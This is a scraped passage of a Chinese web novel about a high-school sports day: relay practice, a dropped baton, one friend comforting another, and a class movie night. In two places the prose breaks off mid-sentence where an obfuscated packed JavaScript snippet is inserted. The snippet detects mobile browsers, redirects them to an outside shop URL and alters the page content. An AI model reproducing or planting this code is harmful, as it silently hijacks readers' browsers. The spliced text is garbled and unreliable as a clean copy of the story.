“那……加我一个吧。”终于,一个戴着黑框眼镜、身材中等的男生挠着头,小声说,“我报跳绳。” 有人开了头,气氛就松动了些。 “我也跳吧。” “算我一个。” 陆陆续续又有两三个男生报了跳绳项目。最后一个男生名额,是坐在讲台下一直没怎么参与讨论的沈泽许。 他没多说什么,只是在林宇舟看过来时,淡淡地点了下头,表示可以。 林宇舟松了一口气,虽然过程有点赶鸭子上架,但跳绳队快人齐了。不过接力还差一男一女。 他敲了两下讲台:“接力还差两个名额!家人们,给点力啊!陈温,你怎么样?接力来不来?” 突然被点名,正低头假装看书的陈温身体一僵。 “我……我体育不太好……”陈温结结巴巴道,脸有点发烫。他说的是实话,一是天生有点懒,不爱动弹;二是接力赛那种需要爆发力和高度配合的项目,压力太大了,他怕拖累别人。 “没事儿!咱们班就是重在参与!”林宇舟大手一挥,根本没给他继续推脱的机会,直接在接力赛男生名额那栏写上了“陈温”两个字,“就这么定了!这几个星期唯一的那节体育课,咱们留下来练练配合就行!” 陈温低下头,短短的指甲无意识地抠着课本边缘,心里有些不愿意。 他有集体荣誉感,知道这是高中最后一次大型集体活动了,能拿奖当然最好。 可是……他真的能做到吗?万一因为他掉棒,或者跑得太慢,导致班级落后怎么办?那种愧疚感他想想都觉得难受。 但陈温刚才没把拒绝的话说出口,现在林宇舟已经写上了名字,他不说话,在别人看来就等于默认了。他也不想让林宇舟难做,舟哥也是按学校要求办事。 只是,在名单正式交上去之前,他还有反悔的机会吗?要不要……私下再去找林宇舟说说?或者,看看有没有其他人更想参加、更能胜任? 各种纠结的念头在他脑子里打架,让他心烦意乱。 67. 靠近一点 所以,那一整天陈温都过得浑浑噩噩。 上课时眼神发直,笔记记得七零八落;下课了就趴在桌子上,一副了无生趣的样子。 连林宇舟这种神经大条的人都察觉不对劲,凑过来问他:“陈温,你怎么了?一整天不开心的样子。” 陈温把头埋进胳膊里,表示正常地回答:“没事,就是有点困。” 林宇舟将信将疑地走开了。 没过多久,沈泽许也走了过来,指节轻轻敲了敲他的桌面,声音不高:“怎么了?” 陈温抬起脸,对上沈泽许沉静的眼睛,下意识地又想用“没事”搪塞过去。 但“没”字刚到嘴边,他又咽了回去。对着林宇舟说没事容易,对着沈泽许……他总觉得那双眼睛能看透一切。 但他还是倔强地摇头,小声重复:“……没事。” 沈泽许没再追问,看了他两秒后,“嗯”了声,转身回了自己座位。 但是沈泽许是谁啊。 他闭着眼睛都能猜到怎么了。 运动会报名那点事,加上陈温那点纠结别扭、害怕拖后腿又不好意思明说的性子,沈泽许看得一清二楚。 他太了解陈温了——责任心重,脸皮薄,又对自己在不擅长领域的能力缺乏信心。这种被“赶鸭子上架”的感觉,足够让他郁闷一整天了。 沈泽许回到座位上,从抽屉里拿出一颗水蜜桃味的糖,手臂伸过狭窄的过道,将那颗糖推到了陈温摊开的课本旁边。 陈温看见忽然出现的糖,愣了一下,抬头看向沈泽许。 沈泽许侧着脸,对他眨了眨眼,用口型无声地问:“吃糖?” 虽然快上课了,但陈温还是没忍住,伸手接过那颗糖,撕开布置的,把那圆滚滚的糖果塞进了嘴里——甜丝丝的。 “是害怕自己做不好吗?”沈泽许的声音压得很低,只有他们两人能听清,语调是少有的柔和。 陈温嘴里含着糖,没敢看沈泽许的眼睛,幅度极小地点起头。被看穿的感觉让他既窘迫,又……奇异地感到一丝安心。 “为什么会这么觉得?”沈泽许又问,声音平稳,不带任何评判。 陈温舔了一下唇边的甜味,犹豫着开口:“我怕……我怕我掉链子。跑步不是我的强项,接力棒要是传不好,或者跑得太慢……要是因为我们没拿到好名次,好丢脸的……” “如果,”沈泽许看着他,很慢地说,“跑接力棒的人是我,我拼尽全力,但还是没拿到第一呢?你会怎么想?” 陈温几乎是下意识地反驳:“你才不会不拿第一呢。”在他心里,沈泽许做什么都游刃有余,闪闪发光。 “我是说,如果。”沈泽许耐心地重复。 陈温被他认真的语气带偏了,想了须臾,说:“那……那也没有什么啊。你尽力了就好。” “你会觉得丢脸吗?会觉得我丢了我们班的脸吗?”沈泽许继续追问。 陈温听完,不带一丝犹豫地摇头:“当然不会!” 沈泽许微微挑了下眉,说出口的话清晰地传入陈温的耳中:“那你为什么会觉得,如果你尽力了却没拿到好成绩,就是丢了我们班的脸呢?” 是啊,为什么? 陈温被问住了。 他“我”了半天,嘴唇翕动,却找不到任何站得住脚的理由来支撑自己那近乎自虐的担忧。 逻辑的链条在沈泽许平稳的目光下悄然断裂。 “想去吗?”沈泽许换了个问题,直接叩问他的本心。 想。 在陈温心里,答案是肯定的。他想为班级做点事。 虽然他是转学来的,在这个班的时间最短,但班上的同学,从林宇舟到叶萧云,都对他很好,很照顾。他也想回报这份善意,想为这个集体出一份力。 更不用说,如果能给一直为他们操心的婷姐赢回个奖牌……光是想想那个画面,就觉得很有意义。 他用力地点了点头,没有一丝犹豫。 沈泽许瞧见他骤然亮起来的眼睛和笃定的点头,低低地笑了一声。 “那就是了。”他说,伸手过来,极轻地拍了一下陈温的后颈,“别怕。” 男生收回手,目光重新落回自己的书本上,只留下最后一句,轻飘飘的,落进陈温的耳朵里: “还有我在呢。” 陈温含着嘴里已经化开大半的糖,看着沈泽许沉静的侧影,心里那片因为运动会而掀起的波澜,忽地就平息了下去,变得踏实、平静。 是啊,怕什么呢。尽力去跑就是了。 那几个星期,参赛名单总算勉勉强强凑齐了。唯一的那节宝贵体育课,成了接力小队固定的练习时间。 几个人在操场上反复练习交接棒。起跑、加速、伸手、接握、冲刺……看似简单的动作,需要绝对的默契和信任。 谁跑哪一棒,也得根据各人特点来定。 经过几次掐表测试和商量,顺序定了下来: 第一棒林宇舟,他反应快,爆发力强,起跑哨响总能第一个冲出去,弯道技术也不错,负责抢占先机;第二棒是李欣桐,跑直道。她速度稳定,能稳住优势;第三棒是另一个爆发力尚可的女生,负责最后的弯道过渡;关键的最后一棒,直道冲刺,交给了陈温。 测试下来,他接过棒后的加速能力和最后的耐力居然出乎意料地不错,能在最后一段保持速度甚至反超。 练习时,沈泽许偶尔会过来看看,递瓶水,或者在一旁做自己的拉伸,目光时不时落在跑道上那个越来越投入、越来越专注的身影上。 陈温最初的那点忐忑,在一次次流畅的交接和逐渐提升的成绩里,慢慢被一种“我能做到”的笃定取代。 只是林宇舟更辛苦些。他不仅是接力第一棒,还兼了8字跳绳的主力——更确切地说,是充当甩绳的。那也是个极耗体力和臂力的角色,需要稳定持续的节奏和力量。 这意味着,在运动会上,他必须在跑完紧张激烈的接力赛后,几乎不休息,就得立刻投入另一项同样需要体力的集体项目。 每次练习完接力,别人喘口气的时候,他已经抓起长绳,吆喝着跳绳的同学开始练习了。 额头上汗水涔涔,眼神却亮得惊人,带着一股不服输的劲儿。 期间,陆晚枝悄无声息地搬走了。她离开得干净利落,没有惊动太多人。 陈温某天放学回家,发现隔壁门口堆着的纸箱已经不见了,门紧闭着。 没过两天,那户房子的原主人回来了。那老太太精神矍铄的,据说是跟儿子在国外住得不惯,觉得还是国内舒服,带着初二的孙子回来了。 陈温在楼道里碰见过那男孩一次,个子蹿得老高,快赶上他了。 陈温在心里感慨,现在的孩子营养真好。 旧的离开,新的入住。操场上的接力练习日复一日,高考倒计时日历一页页撕去。 时间推着所有人,不容分说地向前。 下旬说到就到。运动会当天,天色刚蒙蒙亮,高三教学楼里就一反常态地热闹起来。 平日里被习题和压力榨干活力的同学们,仿佛一夜之间被注入了新的生机。 女生们早早起来,对着镜子化上精致的妆容,男生们也难得地折腾起头发,试图用发胶抓出些不像平日里那么“颓废”的造型。 当李欣桐和李清依结伴走进教室时,陈温差点没认出来。 李欣桐画着时下流行的韩式日常妆,睫毛刷得根根分明,唇色是豆沙粉,整个人显得清爽又明亮。李清依则更淡雅些,略施粉黛,提亮了气色,眉眼间多了几分平时少见的柔美。 林宇舟正跟叶萧云说着什么,一扭头看见她俩,眼睛都直了,下巴张着,一副被惊艳到的呆愣模样。 叶萧云在旁边嫌弃地瞥了他一眼,用胳膊肘捅了他一下,低声说:“喂,注意点形象,口水都快流到地上了。” 林宇舟猛地回过神,脸腾地红了,梗着脖子反驳:“你胡说什么!我才没有流口水!” 黑板上的倒计时日历被暂时移到角落,取而代之的是用彩色粉笔写的“高三(2)班加油!”的大字。 楚婷也难得地没穿裙子,换上了一身轻便的运动服,笑呵呵地招呼大家检查物品,准备去操场集合。 陈温坐在自己的座位上,扫视周围忙乱又兴奋的同学,心里出乎意料地没有想象中那么紧张。也许是因为练习过很多次,也许是氛围使然,他有点放空。 这时,班里两个平时就很活泼、负责今天班级“形象工程”的女生凑了过来,手里还拿着化妆包。 其中一个笑嘻嘻地问:“陈温,要不要也帮你化个妆?免费的!让你体验一下当‘精致男孩’的感觉,保证帅出新高度!” 陈温被这突如其来的提议吓了一跳,连忙摆手,打着“哈哈”拒绝:“不、不用了吧……我这样就挺好,真的!” 女生们也不强求,了然地点点头,其中一个还打量了他一下,夸赞道:“也是,你皮肤底子真好,又白又没什么痘痘,都不用怎么修饰就挺好看的了。” 陈温被这直白的夸奖弄得不好意思,耳朵尖微微泛红,尴尬地挠了挠头,不知道该怎么接话,干巴巴地说了句“谢谢”。 就在他手足无措的时候,不远处的沈泽许抬起眼,淡淡地朝这边瞥了一眼。他的眼神很平静,没什么情绪。 但不知怎的,那两个正笑着的女生,莫名感到后背一凉。 她们对视一眼,十分有眼力见儿地迅速结束了话题。 “那行,你忙!我们去问问别人!”她们麻利地收起工具,就溜向了下一个目标,如同刚才只是路过。 陈温看着她们离开的背影,还有点懵。沈泽许已经收回目光,继续整理自己的东西,仿佛刚才那一眼只是无意间瞥见的。 运动会正式开始的广播响彻校园,各个班级按照划分好的区域,以方阵形式围坐在大大的草坪内。 班旗在风中猎猎作响,人声鼎沸,阳光毫无保留地洒下来,空气里充斥青草的气息。 高三的座位区安排在离主席台最远的后方,被“优待”的毕业班,终究与盛会隔着一层。 从这里望过去,主席台那边热闹的开幕式表演只剩模糊的人影和遥远的音乐声。 2班的同学们在指定的区域坐定,起初还伸着脖子往前看,没过多久就兴趣缺缺地收了回来。 反正也看不清,加上早起和兴奋劲过去,大家渐渐放松下来,三三两两地开始聊天、分享零食、或者抓紧时间补觉。 陈温今天又是天没亮就起来了,此刻被暖烘烘的阳光一晒,加上周围嘈杂却催眠的背景音,困意一阵阵袭来。 他打了个哈欠,眼角渗出生理性泪水,身体不自觉地往旁边歪了歪。 沈泽许就坐在他旁边,正低头看着一本单词手册。感觉到肩膀一沉,他侧过头,看见陈温脑袋一点一点地靠过来,眼睛都快闭上了。 沈泽许不动声色地调整了一下坐姿,让肩膀更低一些。陈温迷迷糊糊地,顺着那点支撑,将额头抵在了沈泽许的肩膀,找了个舒服的角度,彻底放松下来,睡了过去。 周围同学对此似乎见怪不怪,偶尔有目光扫过,也只当是关系好的男生之间累了靠一下。 阳光越过前方攒动的人头,斑驳地洒在他们身上,在陈温沉睡的侧脸和沈泽许的眉眼上跳跃。 李欣桐今天带了不少“装备”——她爸爸是个摄影业余爱好者,这次把一台老式单反相机和一台拍立得都借给了她。 来之前她还随口问了句:“妈呢?好久没见她了。”她爸只是笑呵呵地摆弄镜头,没正面回答。李欣桐也懒得深究,只要不是离婚就行。 这会儿,她正拉着李清依当模特,用单反咔嚓咔嚓拍个不停。 李清依遗传了父母的好基因,长相出众,气质又好,在李欣桐镜头前随便一站都跟画报似的。 “姐,等我回去就把你的新照片更换到校园论坛校花校草墙上!”李欣桐一边调光圈一边说。 可惜没拍几张,林宇舟那家伙就不知从哪儿冒了出来,熟络地跟李清依打起招呼。 她姐笑着跟男生聊了起来,几句话的功夫,就把旁边举着相机的堂妹给忘了。 李欣桐对着林宇舟的身影翻了个大大的白眼,悻悻地放下相机。 一回头,目光扫过班级区域后排,正好发现陈温靠在沈泽许肩膀睡得正香,沈泽许则一手拿着单词书,另一只手很自然地虚搭在陈温肩上,防止他滑下去。 两人依偎的姿态,与周围格格不入。 李欣桐眼睛一亮,刚才那点被忽略的小郁闷瞬间被一股恶作剧的兴奋取代。 “你们要不要拍拍立得?”女生走过去,晃了晃手里的相机,脸上挂着人畜无害的笑容。 其实在她靠近之前,沈泽许就察觉到了,提前用手捂住了陈温的耳朵,试图隔绝干扰。但陈温睡得本来就不沉,还是被这动静和靠近的人影弄醒了。 他迷迷糊糊地睁开眼,视线聚焦,猛地看到近在咫尺、笑得不怀好意的李欣桐,吓得一个激灵,身体像装了弹簧一样,丝滑地从沈泽许身上弹开,仿佛刚才那个靠人肩膀睡觉的人根本不是他。 陈温掩饰性地咳嗽了一声,问:“怎么了?拍……拍什么?” “拍立得啊!”李欣桐把相机举到他面前,“就是按下快门,马上就能拿到实体照片的那种。8块钱一张,原价就是8块,不是我黑心啊!”她特意强调价格,一副“童叟无欺”的样子。 陈温当然知道拍立得是什么。他心里一动——他和沈泽许,好像还真没什么正经的合影。 运动会,这么特殊又热闹的日子,好像确实……很适合留下点纪念。 价格?8块?他只花了0.2秒思考,就觉得完全合理,甚至有点便宜,毕竟能立刻拿到实体照片,而且……是和沈泽许一起的。 “拍!” 陈温几乎没犹豫,双眼亮了一下,转头看向沈泽许,眼神里充满期待。 沈泽许合上单词书,见陈温那副跃跃欲试又有点不好意思直接替他答应的样子。 他没说拍不拍,看向李欣桐,简洁地问:“怎么拍?” 李欣桐立刻来了精神:“那站起来拍吧,坐着不好看,光线也不行。”她指挥着,“你们到这边来,背对着操场,这边光线均匀。” 陈温和沈泽许依言站了起来,走到她指定的位置。第一次在镜头前正式合影,两人都有点不知该如何摆姿势,最后不约而同地比出了剪刀手。 李欣桐从取景框里看到这标准又“复古”的直男手势,差点笑出声,在心里默默吐槽了一句。她调整了一下表情,故作不满地喊道:“靠近一点啊!离那么远干嘛?” 两人闻言,都有些不好意思地往对方那边挪了一小步。 “还是不够!”李欣桐皱着眉,“再近一点嘛,别搞得像陌生人一样。” 陈温和沈泽许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172000|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视一眼,能看到彼此眼中那点无奈。他们又靠近了些,肩膀几乎快要挨到一起。 “不行不行,再近点!要有那种……‘好兄弟’的感觉!”李欣桐煞有介事地指挥。 旁边看热闹的男生忍不住插嘴:“姐,这还不近啊?都快贴上了。” 李欣桐瞥了那人一眼:“你懂什么,靠近点画面才饱满好看!”她干脆放下相机,几步走过去,亲自上手调整。 先把陈温往沈泽许那边又推近,让两人的肩膀实实在在地靠在一起,随后把沈泽许的一只手拉起来,搭在陈温的肩上,另一只手则示意陈温可以自然垂放或插兜。 “对对对,就这样!沈泽许你表情自然点,别绷着!陈温你也笑一笑嘛!” 布置妥当,李欣桐退回原位,再次举起相机。取景框里,两个穿着同样校服的少年肩并肩站着,沈泽许的手搭在陈温肩头,陈温虽然还有点拘谨,但眼神明亮,嘴角微微上扬。 阳光勾勒着他们干净的轮廓,喧闹的操场成背景板。 “非常好!保持!开心一点!”李欣桐喊道,“三、二、一——” “咔嚓!” 快门声响,闪光灯亮起。一张即时显影的相纸被缓缓吐出。 李欣桐拿起相纸,得意地在空中扇动,等待着影像慢慢浮现。 陈温已经迫不及待地凑了过去,沈泽许也收回了搭在他肩上的手。 “8块,现金还是转账?”李欣桐不忘她的“生意”。 沈泽许已经低头,从校服口袋里的饭卡套中摸出一张十元纸币,准备递过去。 “我来吧。”陈温拦住他,坚持道,“过年我有压岁钱,回去给你转账。” 沈泽许看了他一眼,没坚持,把十块钱收了回去,点头说:“行。” “好了好了,快看看我拍的怎么样!”李欣桐把已经完全显影的相纸递过来,语气里是控制不住的得意。 陈温小心翼翼地接过那张还有些温热的方形相片。 画面里,他和沈泽许肩并肩紧紧靠着,沈泽许的手臂搭在他肩上,两人都看向镜头,脸上带着笑。他的笑容有点腼腆但很明亮,沈泽许的嘴角微微上扬,眼神是少见的柔和。阳光很好,给少年们刻上光边。 “谢谢!好看!”陈温由衷地说,眼睛亮晶晶的。他把照片举到沈泽许面前,献宝似的:“你看!是不是很好看?” 沈泽许垂下眼,目光落在照片上,很仔细地看了两秒。随后,他抬起眼,视线从照片移到近在咫尺望着他的陈温脸上。 “好看。” 不知道是在说照片,还是在说照片里那个笑得眼睛弯起来的人,亦或是……此刻眼前这个举着照片等他评价的人。 陈温没听出他话里那点细微的歧义,只当是夸照片,心满意足地把照片宝贝似的收好,揣进了贴身的校服口袋里,还不放心地确认会不会掉下来。 李欣桐在一旁看着,脸上挂着“我就知道”的姨母笑容,很识趣地没多说什么,揣着相机,哼着歌去寻找她姐了。 过了差不多一个小时,终于轮到了高三年级入场。学校对高三没有硬性要求准备表演,但总有班级不甘于平淡。 比如排在前面的1班,就精心准备了一个小节目。苏颜晓梦和几个女生上场,在临时清出的场地上跳了一段时下流行的女团舞,虽然只有短短两分钟左右,但洋溢的青春气息还是赢得了热烈的掌声。 轮到2班时,没有节目,全班同学在场地中央停下,面向主席台,在林宇舟的带领下,用尽全力喊出了事先准备好的口号: “高三二班!非同一般!挥洒汗水!勇夺桂冠!” 声音洪亮却略显干巴,在热闹的操场上有种朴素的尴尬。喊完,队伍便迅速撤了,回到自己的区域。 “太尴尬了。”退回座位区,有女生忍不住小声嘀咕,脸上还带着未褪的红晕。 “没办法,”旁边的人接话,“学校规定,不表演节目的班级就得念口号,走个过场。” 高三所有班级都比前面的年级更快地走完了这个“过场”。当最后一个高三班级念完口号,主席台上的校长便站了起来。 大家都以为按照惯例,校长至少得说上十来分钟,从体育精神讲到高考拼搏。 结果,校长只是拿起话筒,言简意赅地说了几句鼓励的话,祝贺运动会补办成功,希望高三同学也能劳逸结合、赛出风格,然后—— “我宣布,本届校运会,正式开始!” 干脆利落,没有半点拖泥带水。 话音刚落,广播的喇叭里传来女子100米预赛即将检录的通知。 高三上午安排了两场比赛,都有预赛和决赛,今天上午一场,明天上午一场,下午照常上课,给了半天“运动假”,晚上也没有作业,算是难得的放松。 开幕式一结束,2班先统一回了趟教室。楚婷快速交代了几件事: 一是发放手机;二是明确了各个项目运动员的检录时间,要求提前热身;三是安排了“大本营”的值守人员——需要留几个同学看管物品、提供后勤,比如保管班旗、补充饮用水等;最后,叮嘱大家注意安全,文明观赛。 交代完毕,大家便呼啦啦地涌向操场。 属于2班的“大本营”设在操场边缘,用一把大的遮阳伞支起一片荫凉。 下面摆了几张从教室搬来的椅子,旁边的纸箱装着瓶装水,还有一个简易的医药箱放在显眼处。班旗插在旁边,被风刮得东撇西歪。 这里将是运动员们比赛间隙休息、补充水分、处理轻微伤痛的据点,也是班上同学加油、闲聊的临时小营地。 安排好值守的同学后,其他人便三三两两地散开,有的去看正在进行的其他年级比赛,有的去找自己项目的场地提前热身,也有的就赖在“大本营”的椅子上,享受着难得的闲暇。 操场彻底活了过来,有发令枪声,还有加油呐喊声和成绩播报声。 陈温早早就换好了衣服——长裤里面是运动短裤,跟着林宇舟他们在大本营旁边的空地上做热身。 压腿、高抬腿、活动脚踝,一套动作下来,身体微微发热。 不知何时,刚才还颇为猛烈的太阳躲进了云层,天色转阴,风也大了起来。 明明在教室里还没什么感觉,此刻站在空旷的操场边,听着远处此起彼伏的枪声和呐喊,陈温心里那根弦不由自主地绷紧。 被冷风一吹,他感觉自己的小腿肚子都在不受控制地发抖。 热身完毕,林宇舟招呼着跳绳队的队员去旁边再最后练习一下配合和节奏。 陈温赶紧套上外套拉好拉链,免得着凉。他没什么心情去看别人比赛,也没心思聊天,独自坐在大本营的塑料椅上,心不在焉地刷着短视频。 沈泽许刚才去帮值日的同学搬了一箱水过来,回来就看见陈温这副蔫头耷脑、神游天外的样子。 他走到陈温旁边,用脚尖碰了碰男生的鞋尖。 陈温没反应。 沈泽许又弯下腰,凑到他手机屏幕前,挡住了大部分光线,故意用平板无波的语气念出正在播放的视频标题:“‘三分钟学会这道菜,男友感动到哭’……你想学?” 陈温吓了一跳,猛地回过神,手忙脚乱地锁屏:“……没,随便刷刷。” 沈泽许直起身,手插在兜里,居高临下地看着他:“紧张?” “……有点。”陈温老实承认,“风好大,吹得我心也慌慌的。” 68. 好棒棒哦~ “别慌。”沈泽许拧开一瓶矿泉水,递到陈温手里,“小口小口喝。我等下跳完绳就过来看你比赛。” “嗯。”陈温接过来,依言小口抿了几下。冰凉的水滑过喉咙,似乎真的让过于紧绷的情绪缓和了些许。 他看着沈泽许,推搡他:“你也别在这儿呆着了,我能行的。快去跟李清依他们热身吧,跳绳也要开始了。” 沈泽许看了他一眼,确认他状态好转,才点点头:“好。加油。”说完,转身朝跳绳队集合的地方走去。 告别沈泽许,陈温又跟着队友们在检录处旁边的空地上最后练了几次交接棒,找找手感。 默契已经形成,动作流畅,心里的底气又足了几分。 没一会儿,广播里传来男女4x100米接力预赛检录的通知,陈温深吸一口气,跟着队伍去检录、贴号码布。 到了准备区域,他背对着人群和墙壁,迅速脱掉了外面的长裤,露出里面的短裤。之所以换成短裤,是听林宇舟的建议,说这样空气阻力小,跑起来更快更灵活。 2班被分在第二道。四人最后围在一起,手叠着手,压低声音喊了一句“2班加油!”,然后便各自散开,走向自己负责的接力区。 不同于个人项目,集体接力总能吸引更多目光。跑道两侧早已被围得里三层外三层,志愿者来回走动,不断提醒兴奋的观众不要越过警戒线。 林宇舟在起跑线前微微屈身,左脚前抵起跑器,右脚在后。他扫了一眼身旁的对手,发现只有自己的装备很齐全。 跑道干燥的塑胶气味混合着紧张的氛围,让他血液里的兴奋感不断攀升。 “各就位——预备——” 发令枪响! 霎时间,八条跑道上的第一棒选手如同离弦之箭,猛地冲出!看台上的鼓励声、尖叫声瞬间爆发,又在他们耳边化为一阵模糊掠过的风。 林宇舟的起跑反应极快,肌肉线条在瞬间爆发的力量下清晰贲张。 他大步流星,步频与步幅都保持着惊人的协调,在前五十米就确立了明显的领先优势,并且以近乎恐怖的稳定速度,将这个优势不断扩大。 身后,几个对手已经开始显出疲态,渐渐落后。 李欣桐眼睛紧紧盯着越来越近的林宇舟,在他即将触线前的刹那,便默契地开始小步加速。 交接区域,林宇舟的手臂奋力前伸,接力棒被稳稳地“放”进李欣桐向后张开的手心! 握紧!李欣桐没有丝毫停顿,长腿迈开,像一头被彻底释放的猎豹,沿着直道全力冲刺! 第一名的宝座,正在向2班热烈招手! 然而,意外发生在第三棒。或许是过于紧张,或许是节奏没对上,当第三棒的女生将接力棒递向陈温时,陈温的手还未完全握紧,她便下意识松了手。 “啪嗒。” 那根承载着希望的接力棒,掉在了粗糙的塑胶跑道上,滚了两圈。 陈温脑子里“嗡”地一声,瞬间懵了。 周围似乎响起一片惊呼。他几乎是本能地弯腰,一把抄起接力棒,但就这短短一两秒的耽搁,已经有一两个班的第四棒从他身边呼啸而过,绝尘而去。 陈温握紧手中的接力棒,咬紧牙关,转身,爆发出全部的力量,朝着最后的直道终点飞驰而去! 风在耳边尖啸,心脏在胸腔里疯狂擂动。跑到大约六十米处,剧烈的运动让他的喉咙开始充血,一股铁锈般的血腥味弥漫开来。腿部肌肉酸胀得像是要炸开,每一步都变得异常困难。 但他没有减速。视线死死锁住前方晃动的背影和那条越来越近的终点线。 加速!再加速!他能感觉到看台上传来的、属于自己班级的、几乎要撕裂喉咙的呐喊。 冲线! 广播里很快传来了最终成绩。2班,第四名。 陈温冲过终点线,视线因为剧烈的喘息和缺氧有些涣散模糊。他勉强稳住身形,却意外地在终点线后的人群里,看到了一个绝不该出现在这里的人——林宇舟?他不是应该在跳绳场地摇绳吗? 脑子还懵着,身体却因为惯性没完全刹住,直直地朝着那个身影撞了过去。 预想中的虚无没有传来,他撞进了一个有心跳、有体温的怀抱里。 是林宇舟。他真的在这里。 林宇舟反应极快,双臂一收,稳稳环抱住了撞过来的陈温,自己也被撞得后退了小半步,同样喘着粗气。 他边调整呼吸边急切地问:“赶、赶上了……怎么样了?第、第几名啊?” 陈温也正大口大口地喘着,喉咙里血腥味翻涌,浑身发软,几乎将全部重量都倚在了林宇舟身上。听见林宇舟的问话,他无力地趴在对方肩头,微微摇头。 没有第一。 明白了。林宇舟环抱着他的手臂紧了紧,另一只手在他背上安抚性地拍了好几下,没再多问名次。 等感觉到陈温的喘息渐渐平复,不再那么剧烈,他才松开手,扶着陈温站好,语气沉了下来:“我去问问是怎么回事。” 沈泽许姗姗来迟。 他在终点线处的遮阳伞下找到了陈温。陈温没有跟其他人挤在一起,而是独自坐在旁边的足球场草地上,背微微弓着,头半垂着,一声不吭。 汗水浸湿的刘海贴在额前,整个人笼罩在一层阴影里。 另外三人站在他前方几步远的地方。第三棒的女生眼眶通红,声音带着浓重的哭腔:“对不起……真的对不起……我、我太紧张了……手滑了……都是我的错……” 林宇舟眉头紧锁,但没有指责:“我们没有怪你。” “就是啊,”李欣桐赶紧接话,牵起那女生的手,用力拍了拍,又伸手捏起她的脸颊,试图活跃气氛,“意外嘛!谁还没个失误?再说了,咱们好歹进了决赛啊!别哭啊,” “等会儿我请你喝双皮奶,加双份红豆,庆祝我们顺利完赛,好不好?” 沈泽许没有走过去加入谈话,站在几步之外,听着他们断断续续的对话,结合刚才远远看到的比赛尾声,心里已经明白了大概发生了什么。 他的目光落在那个独自坐在草地上的身影上。 不用猜也知道陈温那副样子是在怪人。 不是在怪别人。 是在怪自己。 内疚着,脑子里大概正反复回放交接棒脱手的那一幕,然后陷入一种近乎自虐的假设循环:为什么我当时没握得更紧一点?为什么反应不能再快点?为什么没能追上去?是不是……又给别人添麻烦了? 沈泽许走到陈温面前,挡住了刺眼的阳光。 他伸出手,掌心向下,轻轻落在了陈温汗湿的头发上。而后,弯下腰,看着陈温低垂的眼睛,道:“走,我们也去吃好吃的。” 沈泽许以为还要多费些口舌,或者至少得把人拉起来。没想到,陈温在听到那句“去吃好吃的”后,眼皮颤了颤,竟真的抬起了眼。 眼中的失落和自责虽然还在,但已经消散了不少。他看着沈泽许近在咫尺的脸,带着点鼻音,软软地应了一声: “好~” 沈泽许瞧他这副样子,心里像是被什么东西戳了一下,又软又涩。他伸出手,将陈温从草地上拉了起来。 不能小看一个人成长的力量。沮丧是真的,内疚是真的,但消化情绪、重新站起来、准备下一次战斗的韧性,也同样真实地潜藏在陈温的身体里。 他有无限的潜能,不仅仅是学习,也包括面对挫折和自我调适。 陈温很快在美食的填满下,冲淡了不少坏心情——养足精力,为明早的决赛做好充分准备。 当天的比赛全部结束后,“高三2班班级群(无家长版)”里,“战地记者”叶萧云,第一时间发回了前线报道。 「叶萧云宿舍413:前线速报!恭喜我班健儿今日战绩:集体8字跳绳,斩获年级第二!男女混合4x100米接力,小组第四,整体排名第六,成功晋级决赛!明日赛场,敬请期待好戏上演!」 消息一出,群里立刻炸开了锅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172001|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「李欣桐(502):好棒棒哦~」 「林宇舟413:好棒棒哦~」 「周舟503宿舍:好棒棒哦~」 消息开始排队形。陈温刚吃完东西,看到大家刷在屏,也忍不住跟着发了一条: 「陈温:好棒棒哦~」 一时间,屏幕上全是“好棒棒哦~”的字眼。 然而,欢乐的气氛没能持续太久。一条来自班主任带着警告意味的消息,突然出现在了屏幕中央: 「楚婷:不准刷屏。再刷屏的,踢出去。」 简单,直接,有效。 瞬间,群里一片死寂。 下午,当其他年级或许还在为运动会兴奋或休息时,高三(2)班的教室已经迅速切换回了熟悉的模式。 楚婷拿着教案到教室窗外“探班”,看到的就是这样一幅景象。没有因为早上的比赛而心浮气躁,也没有沉浸在得失里,大部分人都在自习,或是小声讨论着题目。 她心里有些意外,又有些欣慰——这帮孩子,似乎在一次次“实战”,学会了如何更快地收心,更专注地投入学习。 到了晚上,还是有些老师布置了作业,不过作业允许晚些再交,给足了大家缓冲时间,但晚自习的“自由”也并非毫无约束——手机在第一节晚自习开始后,就被统一收走,锁进了办公室的柜子里。 四节漫长的晚自习,如果全用来埋头苦读,未免太过压抑。不知是谁先起的头,有人提议用教室的多媒体设备看电影,得到了广泛响应。 但很快,问题来了——看什么? 楚婷听了一会儿教室里关于选片的激烈争论,觉得好笑又无奈,干脆放了权:“你们自己投票决定吧,注意音量,别影响其他班。” 说完,把维持秩序的任务交给了纪律委员,自己便回办公室图清静去了。 投票结果很快出炉——想看动画电影的没多少,提议看贺岁片的也只有几个,出乎意料地,想看恐怖电影的人居然占了多数…… 少数服从多数,一部经典的恐怖片《闪灵》被选中,开始在电教平台上播放。 电影开篇那空旷寂寥、带着不祥预感的航拍镜头和诡异的配乐,立刻让教室里的气氛变了调。 有人感到刺激,兴奋地搓手;也有人捂住眼睛,从指缝里偷看;随着剧情推进,教室里有尖叫,有大笑。 纪律委员不得不几次站起来,提醒大家控制音量。 又一个突如其来的、极其骇人的画面闪过,教室里响起一片抽气声。 